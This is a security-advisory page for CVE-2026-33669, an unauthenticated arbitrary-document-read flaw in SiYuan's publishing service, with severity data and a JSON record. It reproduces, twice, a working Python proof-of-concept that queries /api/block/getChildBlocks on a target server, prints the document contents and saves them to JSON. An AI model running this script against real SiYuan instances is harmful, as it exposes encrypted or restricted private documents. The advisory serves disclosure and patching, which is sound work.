GHSA-34XJ-66V3-6J83

Vulnerability from github – Published: 2026-03-25 19:36 – Updated: 2026-03-27 21:20
VLAI?
Summary
SiYuan has Arbitrary Document Reading within the Publishing Service
Details

Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

PoC

#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys

def get_child_blocks(target_url, doc_id):
    """
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    """
    url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"

    headers = {
        "Content-Type": "application/json"
    }

    data = {
        "id": doc_id
    }

    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()

        result = response.json()

        if result.get("code") != 0:
            print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
            return None

        return result.get("data")

    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        return None
    except json.JSONDecodeError as e:
        print(f"[-] JSON解析失败: {e}")
        return None

def format_block_content(block):
    """格式化块内容"""
    content = ""

    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get("markdown", "") or block.get("content", "") or ""
        if md:
            content = md.strip()

    return content

def main():
    """主函数"""
    if len(sys.argv) > 1:
        target_url = sys.argv[1]
    else:
        target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
        if not target_url:
            target_url = "http://localhost:6806"

    print(f"目标地址: {target_url}")
    print("=" * 50)

    while True:
        print("\n" + "=" * 50)
        doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()

        if doc_id.lower() in ['quit', 'exit', 'q']:
            print("程序退出")
            break

        if not doc_id:
            print("[-] 文档ID不能为空")
            continue

        print(f"\n[*] 正在读取文档: {doc_id}")

        blocks = get_child_blocks(target_url, doc_id)

        if blocks is None:
            print("[-] 获取文档内容失败")
            continue

        if not blocks:
            print(f"[!] 文档 {doc_id} 没有子块或为空")
            continue

        print(f"[+] 成功获取 {len(blocks)} 个子块")
        print("-" * 50)

        # 保存所有块内容
        all_blocks_content = []

        for i, block in enumerate(blocks, 1):
            content = format_block_content(block)
            if content:
                print(content[:200] + ("..." if len(content) > 200 else ""))

                all_blocks_content.append({
                    "index": i,
                    "content": content,
                    "raw_block": block
                })

        # 询问是否保存到文件
        save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
        if save_choice in ['y', 'yes']:
            filename = f"doc_{doc_id}_blocks.json"
            try:
                with open(filename, "w", encoding="utf-8") as f:
                    json.dump({
                        "doc_id": doc_id,
                        "block_count": len(blocks),
                        "blocks": all_blocks_content
                    }, f, ensure_ascii=False, indent=2)
                print(f"[+] 已保存到: {filename}")
            except Exception as e:
                print(f"[-] 保存失败: {e}")

        print("-" * 50)

if __name__ == "__main__":
    main()

image

Impact

File reading: All encrypted or prohibited documents under the publishing service could be read.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20260317012524-fe4523fff2c8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-125"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:36:22Z",
    "nvd_published_at": "2026-03-26T22:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks \u6587\u6863\u5185\u5bb9\u8bfb\u53d6\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n    \"\"\"\n    \u8c03\u7528 SiYuan \u7684 /api/block/getChildBlocks API \u83b7\u53d6\u6587\u6863\u5185\u5bb9\n    \"\"\"\n    url = f\"{target_url.rstrip(\u0027/\u0027)}/api/block/getChildBlocks\"\n    \n    headers = {\n        \"Content-Type\": \"application/json\"\n    }\n    \n    data = {\n        \"id\": doc_id\n    }\n    \n    try:\n        response = requests.post(url, json=data, headers=headers, timeout=10)\n        response.raise_for_status()\n        \n        result = response.json()\n        \n        if result.get(\"code\") != 0:\n            print(f\"[-] \u8bf7\u6c42\u5931\u8d25: {result.get(\u0027msg\u0027, \u0027\u672a\u77e5\u9519\u8bef\u0027)}\")\n            return None\n        \n        return result.get(\"data\")\n        \n    except requests.exceptions.RequestException as e:\n        print(f\"[-] \u7f51\u7edc\u8bf7\u6c42\u5931\u8d25: {e}\")\n        return None\n    except json.JSONDecodeError as e:\n        print(f\"[-] JSON\u89e3\u6790\u5931\u8d25: {e}\")\n        return None\n\ndef format_block_content(block):\n    \"\"\"\u683c\u5f0f\u5316\u5757\u5185\u5bb9\"\"\"\n    content = \"\"\n    \n    # \u83b7\u53d6\u5757\u5185\u5bb9\n    if isinstance(block, dict):\n        # \u5c1d\u8bd5\u591a\u79cd\u53ef\u80fd\u7684\u5b57\u6bb5\n        md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n        if md:\n            content = md.strip()\n    \n    return content\n\ndef main():\n    \"\"\"\u4e3b\u51fd\u6570\"\"\"\n    if len(sys.argv) \u003e 1:\n        target_url = sys.argv[1]\n    else:\n        target_url = input(\"\u8bf7\u8f93\u5165 SiYuan \u670d\u52a1\u5730\u5740 (\u4f8b\u5982: http://localhost:6806): \").strip()\n        if not target_url:\n            target_url = \"http://localhost:6806\"\n    \n    print(f\"\u76ee\u6807\u5730\u5740: {target_url}\")\n    print(\"=\" * 50)\n    \n    while True:\n        print(\"\\n\" + \"=\" * 50)\n        doc_id = input(\"\u8bf7\u8f93\u5165\u6587\u6863ID (\u8f93\u5165 \u0027quit\u0027 \u6216 \u0027exit\u0027 \u9000\u51fa): \").strip()\n        \n        if doc_id.lower() in [\u0027quit\u0027, \u0027exit\u0027, \u0027q\u0027]:\n            print(\"\u7a0b\u5e8f\u9000\u51fa\")\n            break\n        \n        if not doc_id:\n            print(\"[-] \u6587\u6863ID\u4e0d\u80fd\u4e3a\u7a7a\")\n            continue\n        \n        print(f\"\\n[*] \u6b63\u5728\u8bfb\u53d6\u6587\u6863: {doc_id}\")\n        \n        blocks = get_child_blocks(target_url, doc_id)\n        \n        if blocks is None:\n            print(\"[-] \u83b7\u53d6\u6587\u6863\u5185\u5bb9\u5931\u8d25\")\n            continue\n        \n        if not blocks:\n            print(f\"[!] \u6587\u6863 {doc_id} \u6ca1\u6709\u5b50\u5757\u6216\u4e3a\u7a7a\")\n            continue\n        \n        print(f\"[+] \u6210\u529f\u83b7\u53d6 {len(blocks)} \u4e2a\u5b50\u5757\")\n        print(\"-\" * 50)\n        \n        # \u4fdd\u5b58\u6240\u6709\u5757\u5185\u5bb9\n        all_blocks_content = []\n        \n        for i, block in enumerate(blocks, 1):\n            content = format_block_content(block)\n            if content:\n                print(content[:200] + (\"...\" if len(content) \u003e 200 else \"\"))\n                \n                all_blocks_content.append({\n                    \"index\": i,\n                    \"content\": content,\n                    \"raw_block\": block\n                })\n        \n        # \u8be2\u95ee\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6\n        save_choice = input(\"\\n\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6? (y/N): \").strip().lower()\n        if save_choice in [\u0027y\u0027, \u0027yes\u0027]:\n            filename = f\"doc_{doc_id}_blocks.json\"\n            try:\n                with open(filename, \"w\", encoding=\"utf-8\") as f:\n                    json.dump({\n                        \"doc_id\": doc_id,\n                        \"block_count\": len(blocks),\n                        \"blocks\": all_blocks_content\n                    }, f, ensure_ascii=False, indent=2)\n                print(f\"[+] \u5df2\u4fdd\u5b58\u5230: {filename}\")\n            except Exception as e:\n                print(f\"[-] \u4fdd\u5b58\u5931\u8d25: {e}\")\n        \n        print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\u003cimg width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" /\u003e\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
  "id": "GHSA-34xj-66v3-6j83",
  "modified": "2026-03-27T21:20:41Z",
  "published": "2026-03-25T19:36:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33669"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has Arbitrary Document Reading within the Publishing Service"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…